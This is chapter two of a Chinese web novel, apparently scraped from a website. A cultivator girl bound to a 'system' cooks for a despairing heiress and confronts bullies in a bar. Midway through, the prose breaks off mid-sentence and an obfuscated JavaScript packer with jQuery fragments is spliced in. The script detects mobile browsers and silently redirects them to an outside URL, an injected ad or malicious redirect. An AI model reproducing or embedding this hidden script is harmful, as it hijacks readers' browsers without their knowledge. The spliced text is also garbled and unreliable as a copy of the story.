第二章


    苏辰霏记得自己锁门了。


    但是时雨还是出现在了她浴室门外，同她说：“不要洗太久，会感冒的。”


    苏辰霏穿好睡衣走出浴室，就看到时雨顺手抽出一条干燥的毛巾，仔细地擦好她的湿发，直到头发不再滴水为止。


    苏辰霏感受着时雨的妥帖和靠近，时雨的温暖在干燥的时候愈发明显，陈姨给她准备的衣服是苏辰霏备用的衣服，雪.脯半露，苏辰霏被擦头发的时候，只需一低头，就能看到其中的风景。


    她有几分腿软。


    脸也升腾起几分薄红。


    “我自己来。”苏辰霏说。


    时雨见头发不再滴水，便将一条新的干燥的毛巾递给苏辰霏，让她自己来。


    苏辰霏糊弄地擦了两下，不知道为什么，对擦头发又失去了兴趣。


    她问时雨：“你说你师父让你下山历练，你要历练什么，什么时候会回去？”


    时雨看向苏辰霏，想了想，说：“你彻底开心了之后，我就会回去。”


    “感情你师父是让你来盯着我的？”苏辰霏乐了，不信。


    “你和我……有缘分。”时雨有些笨拙地说，她不能把系统的事情透露给苏辰霏，也不擅长撒谎，于是挑挑拣拣隐瞒了一部分真相，含糊地说了一部分。


    苏辰霏察觉到时雨的隐瞒，不过她无所谓地说：“你可以住在我家，直到你离开为止。”


    她说，“我的心情不需要你负责，我们确实有缘分，为了感谢你救我，我也会给你一笔足够的钱。”


    “我不要钱，我只要你开心起来——”


    “嗤……时雨，山上的高人，你是小孩子吗？”苏辰霏直直地看向时雨，说，“成年人的世界，从来没有开心不开心一说。”


    【叮，苏辰霏失意值+1，目前98，请宿主查收】


    时雨被苏辰霏触及世界绝望的尖锐眼神刺了一瞬，她转移话题：“我帮你吹头发吧。”


    “不用。”苏辰霏拒绝，“放着不管，很快也就干了。”


    时雨笨拙地上前，食指贴上了苏辰霏的太阳穴，苏辰霏随即便感受到了一股细细密密的暖流自太阳穴处开始游走，头皮就像是被灵魂提取器按.摩了那般，升起酥酥麻麻的暖意来。


    她几乎舒服得要嘤.咛出声。


    苏辰霏咬住自己的唇，热意上涌，她几乎不能够把持住自己的身体，下意识地朝着时雨的怀里贴。


    “很舒服吧。”时雨自豪地莞尔，每一寸发丝都被暖意强势地烘烤，随后只是十几秒的时间，原本还泛着湿漉的头发就已经干燥得暖洋洋了。


    苏辰霏从来没觉得自己这么舒服过。


    她甚至怀疑再多那么一秒，她会不会直接缴械，被时雨的暖意烫得溃不成军。


    苏辰霏的眼尾泛出细密的生理性的泪意，时雨还没收回手，苏辰霏就忍不住贴进了时雨的怀里。


    时雨习惯性地揉了揉苏辰霏的脑袋，笑道：“怎么比小玉还黏人呢？”


    苏辰霏停住动作，她的脸瞬间堆积了冷意：“小玉是谁？”


    “是宗门里的一只小奶猫，我们当她是小师妹，把她编进宗门里了，大名叫时玉，小名就叫小玉。”时雨笑道，“如果有机会的话我们可以一起见见。”


    【叮，苏辰霏失意值-2，目前96，请宿主查收】


    苏辰霏的态度软和了下来。


    当她视线触及被时雨直接推开的那扇坏了门锁的门之后，她看了看时雨细腻又柔软的指尖，又看了看门。


    “时雨，”苏辰霏缓缓开口，“我这下真的相信你是从山上下来的高人了。”


    气力竟恐怖如斯。


    “晚上想吃什么？”时雨回归自己给自己的“主线任务”，苏辰霏不知道为什么时雨对吃这么有执念，她想了想说：“我让陈姨过来给我们做。”


    “比较晚了，我来吧。”时雨说。


    “你……会用燃气吧？”苏辰霏想到时雨连吹头发用的都不是电吹风，有些不确定地问。


    “会……吧？”时雨想了想，然后说，“我可以学。”


    幸好苏辰霏有现代的生活常识，时雨也不笨，很快掌握了其中的技巧，还顺便整理了一下调味料和食材。


    时雨起锅烧油，在锅里下了两个鸡蛋之后将鸡蛋煎至两面金黄，然后倒入开水，骨白色的高汤汤底便散发出了温暖的香气。


    随后下入面条，时雨在两个面碗里放了些许秘密配比的调料，待面条煮好后捞出，在每一个碗里都放了一个煎蛋。


    简单的鸡汤面，却让苏辰霏有了那么一瞬间的恍惚。


    她颤.抖着拿出两双筷子放在了餐桌上，冰冷的大理石餐桌，在此时似乎有了些许家的温度。


    苏辰霏吃了一口，又吃了一口。


    时雨坐在苏辰霏身边，暖意融融。


    苏辰霏悄悄地将椅子朝着时雨的方向移了移。


    她好像……不那么想离开这个世界了。


    【叮，苏辰霏失意值-5，目前91，请宿主查收】


    时雨眉眼弯弯，朝着苏辰霏笑了笑。


    突然，苏辰霏的手机传来了一条消息，那是一张照片，灯红酒绿的包厢里，陈甯缩在角落委屈地哭泣。


    苏辰霏看了一眼，拧起了眉。


    然后又看了一眼。


    她放下筷子，说：“我出去一趟。”


    时雨哄她：“吃一口鸡蛋，别饿坏了。”时雨的视线也落在照片上，“等下我和你一起去。”


    “你不必——”


    “我知道的，你在意她。”时雨笑得清爽又干净，在她的世界里，似乎从来不会出现什么不能解决的事情，“我的伞被她带走了，我拿回我的伞就好。”


    苏辰霏张了张嘴，她似乎想解释什么，但是最终还是没有说话。


    她在意陈甯吗，肯定是在意的。


    可是为什么在意，苏辰霏突然有几分遗忘了。


    就好像在意陈甯是她一定要做的事情那样，但是刚刚那一瞬，她突然不希望让时雨知道她在意陈甯，她更不想时雨笑着、妥帖地、大度地表示不在意。


    苏辰霏沉默地咬了一口煎蛋。


    是溏心蛋，很好吃。


    很好吃。


    苏辰霏突然舍不得这个溏心蛋了。


    但是她犹豫了一瞬，吃一口就放下了。


    时雨顺手收了碗，洗了碗之后向苏辰霏要了衣服，两个人驱车出发。


    陈甯所在的地方是一个名叫“月亮”的酒吧，包厢里有她的女朋友，谢韵之。


    时雨听过系统讲陈甯和谢韵之的故事，是一段分分合合最后HE的虐恋，谢韵之现在还管不住自己，虽然和陈甯确定了关系，但她从没有将陈甯当回事。


    她答应了陈甯会和陈甯订婚，但总和陈甯说时机没到，她家里接受她出柜就已经很难受了，更别提她要带回去订婚的对象是一个保姆的女儿。


    陈甯的身份就像是一根尖刺横亘在两个人中间，陈甯不得不伏低做小，为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207430|165801||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了在谢韵之身边，甘愿忍受谢韵之那些狐朋狗友的调侃，还有颇具侮.辱意味地对苏辰霏的羞.辱。


    陈甯只是听着。


    她或许认为自己只能听着。


    就比如这一次——


    “你们说苏家那个疯子会来吗？”


    “韵之可是捡到宝了呀，对方求而不得的，却是一直来贴着你的。”


    “你们别这样说，苏总对我的好不是那种好——”陈甯鼓起勇气反驳。


    “噢？那是哪一种？”


    谢韵之处处低苏辰霏一头，但唯独在陈甯上，她赢了苏辰霏。


    她坏，但是陈甯爱。


    谢韵之牵过陈甯的手，让陈甯坐在自己身边，谢韵之对陈甯还是有感情的，她伸手抹去陈甯脸上的泪，笑道：“我会和你订婚的，到时候，可别忘记邀请苏辰霏——”


    “就怕她不敢来哈哈哈哈。”


    “家大业大又如何，还不是克父克母——”


    包厢房门被大力拍开，玻璃直接碎了下来，合页链接着门摇摇欲坠。


    一时间包厢里的人就噤了声。


    苏辰霏也被时雨这突如其来的一巴掌给惊呆了。


    她面上不显，但反应过来时，心里别提有多畅快了。


    时雨护在苏辰霏身前，她的视线逡巡着包厢里的每一张脸，一字一顿地说：“别人的家庭情况是别人的隐私，不是给你们用来调侃的。”


    时雨说：“做人，要互相尊重。”


    “不、不尊重又怎么样？”有人梗着脖子开口。


    时雨笑了。


    她说：“不尊重的话，那我也略懂一些拳脚。”


    时雨话音刚落，包厢门彻底死在了她的脚边。


    没人怀疑时雨的话。


    大家都怕下一个倒下的是自己。


    包厢里的莺莺燕燕都缩得跟鹌鹑似的。


    苏辰霏本来是想来为陈甯出头的，但是陈甯此刻抱紧了谢韵之的手臂，整个人抖得不敢和苏辰霏对视。


    苏辰霏没了兴致。


    “你来做什么。”谢韵之明知故问。


    “她来陪我拿回我的伞。”时雨没有给谢韵之羞辱苏辰霏的机会。


    任何人的感情都不应该成为别人羞辱的目标，爱本纯粹，也应该还以纯粹的尊重。


    时雨不忍心看着苏辰霏的心意被践踏。


    她大步走进包厢拿回了自己的伞，然后淡漠地走到陈甯身前，她问：“跟我们回去吗？”


    时雨说：“或许太过纠葛的感情，并不是真正好的感情。”


    陈甯看了看谢韵之，又看了看时雨。


    谢韵之察觉到陈甯态度的松动，她拧眉暴躁道：“陈甯！如果你今天敢走的话，我们就分手！”


    陈甯垂眸，随后一滴泪滚落了下来。


    她朝着时雨摇了摇头。


    苏辰霏觉得陈甯刺眼得很。


    也觉得时雨太滥好心了些。


    苏辰霏第一次怀疑起自己为了陈甯做的那些事情是否值得。


    她之前为什么会起牺牲自己，成全陈甯的心思呢？她骨子里就不是这样的一个“好人”——


    奇怪，太奇怪了。


    可苏辰霏知道，如果她不把自己的所有东西都给陈甯，陈甯不可能会和谢韵之成功订婚。


    因为——


    苏辰霏踏入包厢，冷色的灯光衬得她的脸更加冷硬：“或许你知道，谢韵之最近在相亲吗？”


    陈甯看向谢韵之，脸瞬间煞白。